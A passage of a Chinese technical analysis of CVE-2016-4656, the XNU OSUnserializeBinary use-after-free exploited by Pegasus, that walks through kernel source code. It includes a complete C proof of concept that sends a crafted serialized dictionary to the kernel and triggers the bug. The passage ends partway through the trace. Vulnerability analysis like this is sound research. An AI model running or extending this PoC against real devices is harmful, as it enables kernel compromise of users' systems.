【技术分享】CVE-2016-4656:苹果Pegasus漏洞技术分析详解

具体的技术背景,可以参考下面这篇文章

PEGASUS iOS Kernel Vulnerability Explained

PEGASUS iOS Kernel Vulnerability Explained - Part 2

iOS三叉戟漏洞补丁分析、利用代码 公布(POC)

0x01 OSUnserializeBinary

在软件开发的流程中,在两个模块进行通信时,都会遇到使用序列化和反序列化传递一些数据结构,或者内部数据,比较典型的就是google的protobuf。

在XNU内核之中,自己实现了一套C++的子集,为IOKIT的开发提供支持,其中就提供了一套自己的序列化与反序列化的逻辑。

这次出现问题的OSUnserializeBinary便是这一个模块中的一个函数。


1.1 OSUnserializeBinary

下面是对源码的简单分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
OSObject *
OSUnserializeBinary( const  char  *buffer,  size_t  bufferSize, OSString **errorString)
{
/*
...初始化变量
*/
if  (errorString) *errorString = 0;
/*
#define kOSSerializeBinarySignature "\323\0\0"
*/
   
   // 等待反序列化的二进制数据存在一定的格式
   
// 检测是否是是具有签名的内存数据
if  (0 !=  strcmp (kOSSerializeBinarySignature, buffer))  return  (NULL);
if  (3 & (( uintptr_t ) buffer))  return  (NULL);
// 检测buffersize的大小要小于kOSSerializeBinarySignature的大小
if  (bufferSize <  sizeof (kOSSerializeBinarySignature))  return  (NULL);
// 跳过内存开始的签名部分,获取第一个需要解析的内存
bufferPos =  sizeof (kOSSerializeBinarySignature);
next = (typeof(next)) ((( uintptr_t ) buffer) + bufferPos);
DEBG( "---------OSUnserializeBinary(%p)\n" , buffer);
   // 反序列化流程中会使用到的一些状态变量
objsArray = stackArray    = NULL;
objsIdx   = objsCapacity  = 0;
stackIdx  = stackCapacity = 0;
     result   = 0;
     parent   = 0;
dict     = 0;
array    = 0;
set      = 0;
sym      = 0;
ok =  true ;
while  (ok)
{
// 通过next指向的内容获取当前的key的pos
bufferPos +=  sizeof (*next);
// 检测是否分析完成
if  (!(ok = (bufferPos <= bufferSize)))  break ;
// 获取当前的k
key = *next++;
         len = (key & kOSSerializeDataMask);
         wordLen = (len + 3) >> 2;  //计算要用几个word
end = (0 != (kOSSerializeEndCollecton & key));
         DEBG( "key 0x%08x: 0x%04x, %d\n" , key, len, end);
         newCollect = isRef =  false ;
o = 0; newDict = 0; newArray = 0; newSet = 0;
//根据key的不同对不同的数据结构做操作
switch  (kOSSerializeTypeMask & key)
{
     case  kOSSerializeDictionary:
o = newDict = OSDictionary::withCapacity(len);
newCollect = (len != 0);
         break ;
     case  kOSSerializeArray:
o = newArray = OSArray::withCapacity(len);
newCollect = (len != 0);
         break ;
   /*
   ...
   */
     default :
         break ;
}
//退出循环
if  (!(ok = (o != 0)))  break ;
//如果反序列化的结果不是一个reference
//就将结果存放到objsArray之中
if  (!isRef)
{
setAtIndex(objs, objsIdx, o);
//如果ok的值为false,则退出反序列化循环
//#define kalloc_container(size)
//kalloc_tag_bt(size, VM_KERN_MEMORY_LIBKERN)
/*
typeof(objsArray) nbuf = (typeof(objsArray)) kalloc_container(ncap * sizeof(o));
if (!nbuf) ok = false;
*/
//在内核中申请ncap*sizeof(o)大小的内存,如果申请失败的了则ok设为false
if  (!ok) {
break ;
}
objsIdx++;
}
//对解析出来的o进行不同的操作
if  (dict)
{
/*...*/
}
else  if  (array) 
{
/*...*/
}
else  if  (set)
{
    /*...*/
}
else
{
     /*...*/
}
if  (!ok)  break ;
       //解析的流程中出现了一些新的容器
if  (newCollect)
{
if  (!end)
{
stackIdx++;
setAtIndex(stack, stackIdx, parent);
if  (!ok)  break ;
}
DEBG( "++stack[%d] %p\n" , stackIdx, parent);
parent = o;
dict   = newDict;
array  = newArray;
set    = newSet;
end    =  false ;
}
       //解析结束
if  (end)
{
if  (!stackIdx)  break ;
parent = stackArray[stackIdx];
DEBG( "--stack[%d] %p\n" , stackIdx, parent);
stackIdx--;
set   = 0; 
dict  = 0; 
array = 0;
if  (!(dict = OSDynamicCast(OSDictionary, parent)))
{
if  (!(array = OSDynamicCast(OSArray, parent))) ok = (0 != (set = OSDynamicCast(OSSet, parent)));
}
}
}
DEBG( "ret %p\n" , result);
if  (objsCapacity)  kfree(objsArray,  objsCapacity  *  sizeof (*objsArray));
if  (stackCapacity) kfree(stackArray, stackCapacity *  sizeof (*stackArray));
if  (!ok && result)
{
result->release();
result = 0;
}
return  (result);
}

1.2 setAtIndex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define setAtIndex(v, idx, o)\
if  (idx >= v##Capacity)\
{\
uint32_t ncap = v##Capacity + 64;\
typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap *  sizeof (o));\
if  (!nbuf) ok =  false ;\
if  (v##Array)\
{\
bcopy(v##Array, nbuf, v##Capacity *  sizeof (o));\
kfree(v##Array, v##Capacity *  sizeof (o));\
}\
v##Array    = nbuf;\
v##Capacity = ncap;\
}\
if  (ok) v##Array[idx] = o;

这一段宏用在代码中大意如下

1
2
3
4
5
6
7
8
if  (idx>v##capacity)
{
   /* 扩充数组*/
}
if  (ok) 
{
   v##Array[idx]=o
}

大意就是讲数据o放置到数组中的idx处,如果数组不够大了就扩充一下数组的大小。


1.3 源码分析

该函数的大致流程与我们通常遇到的反序列化函数形式基本相同,分为以下几步

检测二进制文件格式,是否符合要求

依次读取二进制数据,进行分析,并且将解析的结果存放到对应的数据结构之中


1.3.1 二进制文件格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 检测是否是是具有签名的内存数据
if  (0 !=  strcmp (kOSSerializeBinarySignature, buffer))  return  (NULL);
if  (3 & (( uintptr_t ) buffer))  return  (NULL);
// 检测buffersize的大小要小于kOSSerializeBinarySignature的大小
if  (bufferSize <  sizeof (kOSSerializeBinarySignature))  return  (NULL);
可以看出,需要解析的二进制数据,一定是已kOSSerializeBinarySignature开始的。具体的定义如下图所示。
#define kOSSerializeBinarySignature "\323\0\0"
在通过签名的检测之后,就会根据每一块读出的内存进行分析
       key = *next++;
       len = (key & kOSSerializeDataMask);  //获取len的值
       wordLen = (len + 3) >> 2;  //计算要用几个word
    end = (0 != (kOSSerializeEndCollecton & key))  //获取end的值;
    /*...*/
//根据key的不同对不同的数据结构做操作
switch  (kOSSerializeTypeMask & key)
         {
           /*....*/
         }


1.3.2 数据存放

解析之后得到的数据,会被存放到对应的数据结构之中去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
         //如果反序列化的结果不是一个reference
//就将结果存放到objsCapacity之中
//如果反序列化自后内存申请失败,则退出反序列化
if  (!isRef)
{
setAtIndex(objs, objsIdx, o);
//如果ok的值为false,则退出反序列化循环
//#define kalloc_container(size)\
kalloc_tag_bt(size, VM_KERN_MEMORY_LIBKERN)
/*
typeof(objsArray) nbuf = (typeof(objsArray)) kalloc_container(ncap * sizeof(o));
if (!nbuf) ok = false;
*/
//在内核中申请ncap*sizeof(o)大小的内存,如果申请失败的了则ok设为false
if  (!ok) {
break ;
}
objsIdx++;
}
//如果存在一个解析出来的dict
if  (dict)
{
if  (sym)
{
DEBG( "%s = %s\n" , sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if  (o != dict) 
{
ok = dict->setObject(sym, o);
}
o->release();
sym->release();
sym = 0;
}
else 
{
sym = OSDynamicCast(OSSymbol, o);
if  (!sym && (str = OSDynamicCast(OSString, o)))
{
     sym = (OSSymbol *) OSSymbol::withString(str);
     o->release();
     o = 0;
}
ok = (sym != 0);
}
}
else  if  (array) 
{
ok = array->setObject(o);
     o->release();
}
else  if  (set)
{
    ok = set->setObject(o);
    o->release();
}
else
{
     assert (!parent);
     result = o;
}
if  (!ok)  break ;
if  (newCollect)
{
if  (!end)
{
stackIdx++;
setAtIndex(stack, stackIdx, parent);
if  (!ok)  break ;
}
DEBG( "++stack[%d] %p\n" , stackIdx, parent);
parent = o;
dict   = newDict;
array  = newArray;
set    = newSet;
end    =  false ;
}
if  (end)
{
if  (!stackIdx)  break ;
parent = stackArray[stackIdx];
DEBG( "--stack[%d] %p\n" , stackIdx, parent);
stackIdx--;
set   = 0; 
dict  = 0; 
array = 0;
if  (!(dict = OSDynamicCast(OSDictionary, parent)))
{
if  (!(array = OSDynamicCast(OSArray, parent))) ok = (0 != (set = OSDynamicCast(OSSet, parent)));
}
}
}

对reference,dict,set,array都有相应的处理分支。


0x02 POC的分析


2.1 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
  * Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH
  * compile on OS X like:
  *    gcc -arch i386 -framework IOKit -o ex exploit.c
  */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
enum
{
   kOSSerializeDictionary   = 0x01000000U,
   kOSSerializeArray        = 0x02000000U,
   kOSSerializeSet          = 0x03000000U,
   kOSSerializeNumber       = 0x04000000U,
   kOSSerializeSymbol       = 0x08000000U,
   kOSSerializeString       = 0x09000000U,
   kOSSerializeData         = 0x0a000000U,
   kOSSerializeBoolean      = 0x0b000000U,
   kOSSerializeObject       = 0x0c000000U,
   kOSSerializeTypeMask     = 0x7F000000U,
   kOSSerializeDataMask     = 0x00FFFFFFU,
   kOSSerializeEndCollecton = 0x80000000U,
};
#define kOSSerializeBinarySignature "\323\0\0"
int  main()
{
   char  * data =  malloc (1024);
   uint32_t * ptr = (uint32_t *) data;
   uint32_t bufpos = 0;
   mach_port_t master = 0, res;
   kern_return_t kr;
   /* create header */
   memcpy (data, kOSSerializeBinarySignature,  sizeof (kOSSerializeBinarySignature));
   bufpos +=  sizeof (kOSSerializeBinarySignature);
   /* create a dictionary with 2 elements */
   *(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4;
   /* our key is a OSString object */
   *(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
   *(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
   *(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
   /* our data is a simple boolean */
   *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
   /* now create a reference to object 1 which is the OSString object that was just freed */
   *(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;
   /* get a master port for IOKit API */
   host_get_io_master(mach_host_self(), &master);
   /* trigger the bug */
   kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
   printf ( "kr: 0x%x\n" , kr);
}

很明显,poc创建了一个dict,这个dict有两个元素,第一个元素是key为“AAAAAAA”的字符串,值为一个Boolean。第二个元素是第一个元素的一个reference。

内核在反序列化这一段字符串的时候就会触发漏洞。

crash

结合OSUnserializeBinary,来分析一下,到底发生了一些什么。


2.2 流程

2.2.1 kOSSerializeDictionary

通过解析,二进制文件首先会进入kOSSerializeDictionary的分支。

1
2
3
4
5
case  kOSSerializeDictionary:
o = newDict = OSDictionary::withCapacity(len);
newCollect = (len != 0);
        break ;
break 之后,执行setAtIndex宏。

1
objsArray[0] = dict

因为其他条件都不满足,代码会进入处理新容器的分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if  (newCollect)
{
if  (!end)
{
stackIdx++;
setAtIndex(stack, stackIdx, parent);
if  (!ok)  break ;
}
DEBG( "++stack[%d] %p\n" , stackIdx, parent);
parent = o;
dict   = newDict;
array  = newArray;
set    = newSet;
end    =  false ;
}


从而给dict赋值newDict。从而创建了一个dict用来存储后续的数据。

2.2.2 kOSSerializeString与kOSSerializeBoolean

第一个元素的key是一个字符串,通过源码解析。

1
2
3
4
5
6
case  kOSSerializeString:
bufferPos += (wordLen *  sizeof (uint32_t));
if  (bufferPos > bufferSize)  break ;
         o = OSString::withStringOfLength(( const  char  *) next, len);
         next += wordLen;
         break ;

获得字符串o。

break之后,执行setAtIndex宏。


objsArray[0] = dict

objsArray[1] = "0x0041414141414141"

因为dict已经创建,进入dict的处理流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if  (dict)
{
if  (sym)
{
DEBG( "%s = %s\n" , sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if  (o != dict) 
{
ok = dict->setObject(sym, o);
}
o->release();
sym->release();
sym = 0;
}
else 
{
sym = OSDynamicCast(OSSymbol, o); //<--进入这个分支
if  (!sym && (str = OSDynamicCast(OSString, o)))
{
     sym = (OSSymbol *) OSSymbol::withString(str);
     o->release();
     o = 0;
}
ok = (sym != 0);
}
}

因为sym并不存在,所以根据o转换出sym。

第一个元素的值是一个bool值,

1
2
3
case  kOSSerializeBoolean:
o = (len ? kOSBooleanTrue : kOSBooleanFalse);
         break ;


break之后,执行setAtIndex宏。


objsArray[0] => dict

objsArray[1] => "0x0041414141414141"

objsArray[2] => true//不知道是不是true,瞎写的,这里不重要

再次进入dict的处理分支,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if  (dict)
{
if  (sym) //<--进入这个分支
{
DEBG( "%s = %s\n" , sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if  (o != dict) 
{
ok = dict->setObject(sym, o);
}
o->release(); //objsArrays[2]指向o
sym->release(); //objsArrays[1]指向sym
sym = 0;
}
else 
{
sym = OSDynamicCast(OSSymbol, o);
if  (!sym && (str = OSDynamicCast(OSString, o)))
{
     sym = (OSSymbol *) OSSymbol::withString(str);
     o->release();